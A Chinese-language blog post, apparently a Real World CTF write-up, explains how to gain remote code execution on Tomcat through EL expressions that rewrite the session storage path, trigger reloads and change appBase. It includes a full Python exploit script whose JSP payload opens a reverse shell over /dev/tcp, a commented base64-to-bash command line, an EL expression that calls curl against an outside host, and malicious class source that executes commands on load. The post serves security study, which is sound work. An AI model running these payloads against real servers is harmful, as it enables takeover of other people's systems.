Tomcat 文件重新自动加载导致RCE
date
Jun 11, 2022
slug
tomcat-resource-rce
status
Published
tags
Java安全
安全研究
summary
来自RWCTF的一个题目,学习了
type
Post
来自RWCTF的一个题目,环境弄下来之后查看关键部分的源码
题目分析
1.目录名称可控
2.文件后缀可控,使用了indexOf去判断
3.写入的内容是经过了一定的过滤和混淆,一些符号会经过转义,也就是说部分可控
从这篇参考文章里面又了解到两个trick,就是在Tomcat环境下解析jsp
- 可以直接一股脑直接编码成unicode编码,然后执行,通常可以用来绕过一些关键字的检测,比如圆括号:
<% \u0052\u0075\u006e\u0074\u0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063\u0028\u0022\u0063\u0061\u006c\u0063\u0022\u0029\u003b %>
- 如果不能够出现<,%,>这些符号的话,可以选择使用EL表达式进行绕过,因为EL表达式是另外的一套处理方式,但是这个就不能把圆括号给绕过
${Runtime.getRuntime().exec("curl abc.oe90.fuzz.red")}
但是当上面两个条件同时出现,就有了这个题目,在不使用圆括号的情况下,通过 EL 表达式的取值、赋值特性,获取到某些关键的 Tomcat 对象实例,修改它们的属性,造成危险的影响;
题目解法
方法一:
使用Session 文件存储路径 这个知识点我也是第一次学的
主要还是涉及下面这几个EL表达式里面的上下文属性:
修改 Session 文件的存储路径:
${pageContext.servletContext.classLoader.resources.context.manager.pathname=param.a}
往seesion里面写入数据:
${sessionScope[param.b]=param.c}
再往这个页面上传入相关参数:
?a=/opt/tomcat/webapps/ROOT/session.jsp&b=voidfyoo&c=%3C%25out.println(123)%3B%25%3E
但是这个文件只有Tomcat挂了的时候才会触发文件生成的效果,一旦重新启动就会删除掉这个文件并恢复session
所以作者在官方文档里面找到了另外的触发方法,除了服务停止或者重启,还可以让部署的程序触发 reload 来做到
同样的需要通过EL表达式修改对应属性:
${pageContext.servletContext.classLoader.resources.context.reloadable=true}
而/WEB-INF/classes/或者/WEB-INF/lib/目录下的文件发生变化具体指的是满足以下任意一项:
/WEB-INF/classes/下已加载过的 class 文件内容发生了修改;
/WEB-INF/lib/下已加载过的 jar 文件内容发生了修改,或者写入了新的 jar 文件。
但是到这一步问题还没有解决,因为这个写入新的jar包格式是错误的,因为内容里面添加了杂七杂八的东西,所以reload之后会导致部署的这整个应用直接 404 无法访问,因为这个题目的对应的场景内容是放在ROOT项目里面的,并不存在其他的Context,所以会出现这个问题
作者在对应这题的解决方案是就是修改appBase目录(默认在webapps),直接改为根目录,整个系统盘文件都会映射在Tomcat上了
此时就相当于存在多个Context,然后就可以将内容写入到根目录下任意一个文件,然后进行访问就可以,但是改变了之后仍然可以按照之前的路径访问之前的内容,所以这个特性还是很特别的
⚠️ 作者的payload是直接反弹的shell,如果修改为out.write这样的内容就会容易导致一些问题,返回500,并不会执行相关的jsp代码,估计是乱码的问题,以后测试的时候返回500,还是要执行一下反弹shell看看
import sys
import time
import requests
if __name__ == '__main__':
# target_url = sys.argv[1] # e.g. http://47.243.235.228:39465/
reverse_shell_host = "10.28.200.206"
reverse_shell_port = str(6666)
target_url = "http://localhost:18081/"
el_payload = r"""${pageContext.servletContext.classLoader.resources.context.manager.pathname=param.a}
${sessionScope[param.b]=param.c}
${pageContext.servletContext.classLoader.resources.context.reloadable=true}
${pageContext.servletContext.classLoader.resources.context.parent.appBase=param.d}"""
reverse_shell_jsp_payload = r"""<%Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "sh -i >& /dev/tcp/""" + reverse_shell_host + "/" + reverse_shell_port + r""" 0>&1"});%>"""
# test_shell = r'''<%out.write("4me")%>
# <%Runtime.getRuntime().exec("/bin/bash -c {echo,dG91Y2ggL3RtcC9hYS50eHQ=}|{base64,-d}|{bash,-i}");%>
# '''
r = requests.post(url=f'{target_url}/export',
data={
'dir': '',
'filename': 'a.jsp',
'content': el_payload,
})
shell_path = r.text.strip().split('/')[-1]
shell_url = f'{target_url}/export/{shell_path}'
r2 = requests.post(url=shell_url,
data={
'a': '/tmp/session.jsp',
'b': 'test',
'c': reverse_shell_jsp_payload, #test_shell,
'd': '/',
}
)
r3 = requests.post(url=f'{target_url}/export',
data={
'dir': './WEB-INF/lib/',
'filename': 'a.jar',
'content': 'a',
})
time.sleep(10) # wait a while
r4 = requests.get(url=f'{target_url}/tmp/session.jsp')
print(r4.content)
方法二:
直接生成恶意的jar包放入lib目录中,然后reload
有两个方法触发jar包里面的内容:
第一种是构造恶意类,然后通过EL表达式加载
org.apache.jasper.compiler.StringInterpreter
去触发简单总结一下,就是StringInterpreter这是个接口,在jsp的编译过程中,在 org/apache/jasper/compiler/Generator.java 中会执⾏ getStringInterprete,这其中会获取
org.apache.jasper.compiler.StringInterpreter
里面的内容进行createInstance
,也就是类的初始化操作所以我们需要EL表达式将上下文里面key值为
org.apache.jasper.compiler.StringInterpreter
内容进行修改,然后怎么让jsp重新编译,就是WatchResource机制触发了创建一个jsp页面里面的EL表达式如下:
${applicationScope[param.a]=param.b}
构建一个恶意类并打包,类的地址为Pwn
public class Pwn implements StringInterpreter {
static {
try{
Runtime.getRuntime().exec("open -a calculator.app");
} catch (IOException e) {
e.printStackTrace();
}
}
public Pwn(){
try{
Runtime.getRuntime().exec("open -a calculator.app");
}catch (Exception e){
e.printStackTrace();
}
}
@Override
public String convertString(Class<?> aClass, String s, String s1, Class<?> aClass1, boolean b) {
return null;
}
}
访问恶意jsp页面并传入参数,对应的类名要写准确
http://localhost:18081/a.jsp?a=org.apache.jasper.compiler.StringInterpreter&b=Pwn
然后在通过WatchResource机制触发
在 Tomcat 9 环境下,默认的 WatchedResource 包括:
WEB-INF/web.xml
WEB-INF/tomcat-web.xml
${CATALINA_HOME}/conf/web.xml
由于这个题目写文件会将文件名字随机化,所以可以通过建立一个WEB-INF/tomcat-web.xml/ 目录,也可以让应用强行触发 reload,加载进先前写入的 Jar 包
这个操作好像只能触发一次(服了,可能需要更换类名和包名),并不是持久化的好手段
注意!!!
在触发之后还需要新建一个jsp页面去触发jsp解析的过程,触发
StringInterpreterFactory.getStringInterpreter
自己在调试的过程里面很容易会出现ClassNotFound的异常,所以WatchResource的reload就显得很重要
只成功触发了一次(还是整了老半天,不好用)。。。第二种则是使用将恶意jsp脚本放在jar包下的
META-INF/resources/
,触发WatchResource机制之后,会自动加载jar里面的内容,最后直接访问页面就行构造前后加入混淆字符的恶意Jar包
在里面提及到如何构建ASCII jar包,这才是做研究的思路
写得很详细了,不多说了,直接上脚本:‣
但是针对这个题目还需要使用P牛的paddingzip的那个脚本做一个校验,而且得保证zip包最后不能以不可见字符结束,因为代码里面存在trim的操作。
这里面又涉及到zip包经过前后加上一些字符,是否可以被处理的问题:
zip文件(包括所有zip格式的文件,如jar包)在前面有脏字符的时候,仍然可以被某些ZIP相关的实现所解析。
比如:
- unzip命令解压时会忽略前置脏字符
- Java解析Zip包会忽略前置脏字符
- Python解析Zip包会忽略前置脏字符
比如我们编写一个简单的jar包,然后在前面增加10个脏字符a,此时,我们使用unzip对这个jar包进行解压,会发现爆出来了warning,但解压仍然可以成功
Java中也会有同样的逻辑,比如我们可以使用下面这段代码来读取jar包中的MANIFEST.MF文件:
package org.example;
import org.apache.commons.io.IOUtils;
import java.net.URL;
public class ZipURL {
public static void main(String[] args) throws Exception {
URL url = new URL("jar:file:///D:/pro/playground/helloworld/sample.jar!/META-INF/MANIFEST.MF");
byte[] bs = IOUtils.toByteArray(url);
System.out.println(new String(bs));
}
}
执行这段代码,读取MANIFEST.MF成功
Python下我们使用
python3 -m zipfile -l sample.jar
也可以成功解析这个文件但是在这些情况下,不可以处理,需要把他的一些偏移量给弄过来
- Java -jar执行这个带脏字符的jar包时会失败
- PHP无法解析
- 7zip无法解析
用到了这个工具,这个“合法”的zip文件就可以使用java -jar来执行了,同样,使用PHP、7z等也可以正确解析了,实际上这就是zip文件的一个feature。
后面看到huahua整出了weblogic下的jar,跟Tomcat类似的效果,学习了,但是比Tomcat的构造略微麻烦了点,还需要对class文件进行修改